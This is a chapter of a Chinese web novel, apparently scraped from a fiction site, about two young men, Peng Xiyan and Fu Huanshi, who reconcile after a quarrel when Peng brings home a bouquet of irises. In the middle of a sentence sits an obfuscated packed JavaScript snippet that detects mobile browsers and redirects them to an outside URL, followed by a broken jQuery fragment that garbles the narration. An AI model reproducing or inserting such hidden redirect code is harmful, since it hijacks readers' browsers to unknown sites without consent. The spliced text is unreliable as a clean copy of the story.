79. 第78章 朝花夕拾

作品:《缺点:你

    彭熹言回家的途中,路过了一家花店。


    本想继续往前走赶着下一趟很快就要抵达的公交,站牌附近的人越积越多。他望了一眼,偏头,再望一眼,却是鬼使神差地,他转变了以往的路线,掉头走进这间充斥着浓郁花香的小店内。


    店里的柜台上有一台复古的留声机在播放着歌曲,彭熹言没有听过,只觉得这首歌娓娓动听,响起的阵阵曲调如梦如幻,仿佛指尖勾出就能触碰到。他心下忍不住记下了它漫出的旋律。


    彭熹言站在如麻雀小窝一般小的屋里,春天正是鲜花盛放的好时节。脚边的地上,柜台上,壁顶的吊篮里,远远看去,已经放满了鲜艳夺目的繁花,他站在其中无从下脚。分不清鼻尖萦绕的是何种香味,杂糅的花香总是太刺鼻,彭熹言轻扇开朝眼前吹来的风儿,似乎那股气味也随着消散了去。


    他遥视了一圈之后,目光刹那间停驻,一眼便看到了摆放在众多花儿之中的鸢尾,不起眼的它吸引了彭熹言要朝它走近。紫色的花瓣斜着门外的光闪着明艳的色泽,绽开的嫩黄花苞里好像还留着几滴晨雾散去的露珠。


    刺眼的日光里,倒映着他。


    彭熹言指间微颤,某种被遗忘的记忆重回,抨击着他的心跳。好似有何物要融化了灵魂,溢出身外。


    他走上前,拿出这束被其他鲜花竞相簇拥险些隐没其间的花儿,衍射着他眼眸的露珠消失不见了。似乎嫌它绽露得不够大胆,彭熹言伸出手指稍拨着它垂落的花瓣,极其小心着。淡淡的味道飘来,像是一团润了水渍的木棉花堵住了他的鼻腔。


    “你好,请问有人在吗……”


    彭熹言紧揣着这束鸢尾,开口询问,可看四下并没店员,有些疑惑。


    在他奇怪的当头,一颗毛茸茸的脑袋即刻从被鲜花裱纸淹没的柜台后面跳了出来。


    乍一看,彭熹言以为是店内的哪朵小花成了精。女生欢欢喜喜地走过来,扎着两只乖巧的麻花辫,上面还点缀着几支花朵形状的小发卡,随着她的动作一摇一晃。


    “你好,这束花可以请你重新帮我用包装纸搭配一下吗?”


    “当然没问题了!”


    女生直愣愣地看着影在门前的俊美青年,毕竟这间花店刚开业不久还很少有人光顾,他一出现在这里简直会让她这座门可罗雀的小店铺蓬荜生辉。女生欣赏他的美貌太久了,直到他又礼貌地重复了一遍,才羞赫着脸匆匆地接了过去。


    彭熹言选定了几张与花儿相宜的彩纸,女生便操持着专业的花艺技巧装起了花束。随口问道。


    “小哥哥是要送给女朋友的吗?”


    女生看面前这位帅哥身高腿长地,只是往小店里一站,赏心悦目的样貌就让她忍不住撇眼看了又看。心下想果然帅的男生都是别人家的。


    “不是的。”


    男生笑了笑,摇摇头否决。


    女生纳闷,便又多问了一嘴。


    “那是要送给谁呀?”


    “是要送给我的男朋友的。”


    彭熹言并不介意将他的恋爱情况告诉于外人,这种差异并不会让他心虚多虑,也不担心这番话说出后女生会做出什么反应,反而舒眉展眼地。只要一想起他,彭熹言总是要多出一抹笑容。


    女生瞪大了眼睛,万万没有想到这样一张惨绝人寰的俊脸会是和一位男性谈恋爱,她并不是歧视和厌恶,因为她以前从来没有在现实生活里遇到过。而且帅哥说得光明正大,倒是搞得她紧张了起来。但也秉承着专门培训过的职业态度,硬生生地强压住内心的嚎叫,很快收敛了脸上震惊的神情。她兴致勃勃地一边包着,一边为他介绍店内的其他花。


    “不用了,我只要这一束就好了。”


    她看到,男人的眼睛从刚才便一直在凝望着她手中的这束鲜花,眸光里闪烁着看不明的情意,像是在看着他的爱人般,深情款款的模样似有其他情感将要破闸而出。


    女生包好了鲜花,把它递到了彭熹言等待的眼前,满怀真心真意地祝福他。


    “其实这束鸢尾花还有一个很动听,很特别的花语。它常被唤作‘爱情的使者’。代表了至爱,挚爱,致爱,这三种爱的含义也很不同,我想,你的男朋友一定会喜欢的。祝愿你们长长久久,爱情永存不朽。”


    “谢谢你,我们会的。”


    彭熹言愣了一瞬,被她的祝福围堵着。他笑着点了头,双眼明亮,露出最真诚的笑意。而后走出了花店。


    街上的行人熙熙攘攘,摩肩擦踵着。昼光在春色里燃烧,彭熹言将它紧护在胸前,怕风一吹过,花儿被打落。


    天空蔚蓝,白昼温和,澄澈的天际间有一道温暖的光折射下,照耀着他手中的“挚爱”。


    公交车还要等很久才能来,站牌附近依旧挤满了人。彭熹言往前走着,晴朗的空气里,又一阵微风吹来,花儿漂浮的香味寡淡极了,他总要多闻几下才能感受到属于它的气息。


    阳光如常地映照着万物,四周的人声聒噪,白噪音蜿蜒着围簇上旷荡的街道。像是波浪回响,层叠涌来四边大道的罅隙里。似乎还有什么残存在他的耳朵里,心里,身体里,不痛不痒地扎着,遗留在了身后的某个地方。


    他顿了步,沿着那道眩耳的光线,又折返了回去。


    女生正激动地掏出手机在界面上疯狂地敲敲打打,同她的好闺蜜分享今日遇见的重磅妙事。眼前的光忽然间被一道阴影挡过,她若有所觉地抬起头。


    “麻烦你,可以告诉我这是什么歌吗?”


    ……


    付焕施肿红的眼睛到早上都没有消掉,光是眨眨眼睛还是能感到微疼牵动着眼皮。想到今天还有课要上,只能草草地用湿毛巾敷了一下。他看着镜子里的人,竟也跟着诧异了一分,仿佛不确定自己了。


    他抬手拨开被热气洇撒的镜面,面前模糊的人儿变得清晰。


    ……


    付焕施?


    付焕施在里面呆了许久,再从房间里出来时,客厅里的窗帘被彭熹言一早就拉开了,敞露着外边的烈日,曦光飞舞着闪耀的光尘,洒下四面墙的各处角落。


    他仰头,虹膜下有光斑闪烁,眼睛愈发疼了,却迟迟地滞留在原地,动弹不得。


    又一个闹铃钟响起,他戴上帽子和口罩,路过餐桌时,来不及吃掉彭熹言清早出门时为他留的热牛奶和鸡蛋,出门去了。


    严临和室友几个人小吵小闹地进了教室,付焕施已经为他们占好了位置,他定眼就见今天的付焕施有些不同,毕竟太显眼了。头上戴着鸭舌帽遮住了大半个脸庞,本就不大的脸还被口罩蒙住,头一次见小付给自己装点成这样,这个全副武装的付焕施让严临心生古怪。而且,三天的假期过去了,总觉得小付又瘦了一些。


    严临不再和他们闹着玩了,快步走过去,坐在他旁边,直盯盯地守着他。


    付焕施感受到了严临的视线,头越垂越低,害怕被他看到这张狼狈的面容。


    “小付,是谁欺负你了?”


    付焕施再如何扭捏躲藏也逃不过他的火眼金睛,立马就注意到了他哪里不对。


    颓废的神色,眼角的周围残余着尚未流失的红痕,像是被打碎的木偶人,随时都会被四处围剿的火焰焚毁。


    严临彻底坐不住了,这一看就是狠狠哭过的样子,一想到这几天付焕施是和谁一直待在一起,立马明白了原因。


    “是不是你那个朋友!”


    付焕施看严临突然生气,他连忙摆手,不想让自己这副不堪的姿态成为他们的负担,尚且也是他在自作自受,随便找了理由好躲过他们这几双无言的相望。


    “不是的!他没有欺负我。因为我昨天看了一部催泪电影,然后我控制不住,就哭了……”


    付焕施说完,还挤着笑自我调侃。


    “是不是很没出息?”


    “怎么会,我泪点也可低了,你要让我看,我肯定比你哭得还严重。”


    “哪部电影把我们小付欺负成这样,小付你下次给我发过来,我可要好好观摩。”


    ……


    本来胡天昊他们也在担忧着看,收到了小付给出的解释后,才松了口气。转头就戏谑还沉着脸不说话的严临。


    “咋,小付还没动这么大的气呢,你急什么呢?”


    “我我我,我关心小付就不行吗?小付眼都成那样了……”


    严临也不怀疑也不相信付焕施的理由,不知道什么原因,他们一追问,自己脸比刚才动了火气的还要红上好几度,忙不迭地急说。


    胡天昊,程睿哲,杨楷瑞看严临脸红耳赤的,笑眯眯地嘲笑。


    “老严,你不对劲呀~”


    “要不要给你端盆水看看猴屁股~”


    “以后峨眉山没你我不去。”


    “……滚你丫的!”


    严临重拳出击,付焕施逃过了一劫。


    等付焕施回到家后,已经是深夜了。


    这边的天空远不比印象里的好看,繁华的大都市塞满了璀璨的霓虹灯,却忘记了释放星光,没有星星的夜色憔悴极了。


    付焕施仰头望着这一团黑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972267|161332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    漆,心想今晚应该不会有月亮了。


    他打开门,客厅里亮着白炽灯的炽灼光线,付焕施举臂挡住眼睛,等到完全适应后才慢慢放下。


    彭熹言今天回来得好像有点早。


    他看了摆放在鞋柜里的那双鞋,左右望望却并没有看到彭熹言的身影。换下鞋子后,走过去摘下了帽子和口罩,大口呼吸着被他隔绝了半日的冷空气。


    吸进时,似乎还闻到了一丝恬淡的花香。


    付焕施想到了卧室里的小花,它还未绽放过。


    等到彭熹言从转角处出现,朝他走来,付焕施才放下那朵小花。


    那束鸢尾花在光芒的笼罩下疏落着奇异的色彩,像是盛夏草藤下结满的葡萄。


    付焕施站在灯下耀眼的中央里,与彭熹言沉默着注视。


    寂静在蔓延,彼此环绕着各双眼睛,甜蜜酿成的痛苦从骨子里跳出,在光里跳跃着一片片散落,碎成一地。


    彭熹言害怕搞砸一切,学着电视里的动作将它交付到付焕施的怀里,却偏偏弄巧成拙,自己心慌撩乱地压不下/体内那颗剧烈砰咚的心跳,直至捏上付焕施的手才得以呼出微息维系着他的心脏,连着手指间都在颤抖。


    “……小施,请你原谅我,好吗?”


    他担心付焕施会拒绝他,抛下他的手,本在心中编排好的话来不及等付焕施开口,顷刻间和盘托出,溃不成军地撒了满地。


    “我一直有在跟随着自己的内心作了这个决定,这所学校也给了我很多的选择,我依然可以得到很多。爸爸妈妈也没有反对,他们支持我来到了这里。我的未来并不遥远,小施,我已经找到了未来的路了。我想和你在一起,留在你的身边,这是我的决定。小施,你不要难过,我也不后悔。”


    昨夜付焕施即使在睡梦中也是抽抽噎噎地小声啜泣着,彭熹言躺在他身边将他搂在了怀里轻轻地拍打着他薄成一片纸张的后背,紧紧地凝望着,一眼也不敢闭下松懈。脸颊两边泪水的河床早已干涸,浅淡的泪痕镌镂着不能分割。彭熹言心下拧成纠缠的丝线,触碰上他的脸颊,想要为他按出个小酒窝可到底还是没有用,它措不及防地在他指下出来了又消失。直到付焕施的呼吸渐趋平缓,他才松下心。


    付焕施的眼皮还是红红的,掀起了浅浅的皱痕,像是一种发热的潮病。


    他保持着呼吸,失重的感觉悄然绵延上他脚尖,心跟着骨骼间的震感而微微颤抖着。望着那双盈满了他的清润眼眸,又一次流下了眼泪,付焕施从不觉得自己是一个爱哭的人。


    月色渐渐洇入,留在了付焕施仰望的脸上,彭熹言揩手拂去。


    花儿被泪珠染上淡泊的颜色。


    付焕施做不到逃避这件横穿在他心里融成一根刺的真实,也做不到推开彭熹言独善其身。他始终是一清二楚的,自己与彭熹言存在着霄壤之别,永远是无法解缚的囚笼。


    他牵绊着彭熹言太久,太长的时间了。


    连他都快要忘记了彭熹言本应是遥遥无望的天边月。


    单是“付焕施”这个名字的出现,就足以构成彭熹言幸福美满的人生当中的一大污点。


    彭熹言本应是完美无缺的。


    在付焕施眼中看来,无论何时,彭熹言都是宠辱不惊,孤芳自赏,无疑是无数人艳羡,与之标榜的存在。


    如若有人问起。


    “难道他就没有一个缺点吗?”


    付焕施只会在心里回答,没有。


    如果必须找出一个,付焕施也只能想到自己。彭熹言最大的缺点,便是他的身边永远跟着一个胆小鬼。


    劣根性的。


    付焕施自知他才是整件事的罪魁祸首,可彭熹言望向他的眼里,真诚的爱意太难拔除,灼热的余光熔化了他那颗膨胀的心脏。流动的静脉是在夜晚里挣扎着的虫豸,咬噬着他的津液。忘记了离别,忘记了争吵,忘记了泪水。


    付焕施觉得自己是不是太自私,太愚笨,就这样被彭熹言用三两句话,一束花儿,一颗交予他的心脏,便轻轻松松地搪塞了过去。还心满意足地祈求可以更加贪婪地收回更多他的爱意。


    花儿似乎遗留着昨日的味道,微开的窗口外有夜风吹拂,荡漾着氲氤的吐息静悄悄地沉入他被泪水浸没的双眸里,洗涤掉满室的水光。


    付焕施借着头顶耀眼的灯光,彭熹言的那双眼睛漂浮在月光下,穿心刺骨地夺走了,他想要凑近去看。


    他踮起脚尖,泪珠滴洒,吻上彭熹言的嘴角,却也偏离了位置,印在了唇下,如河流般掠过。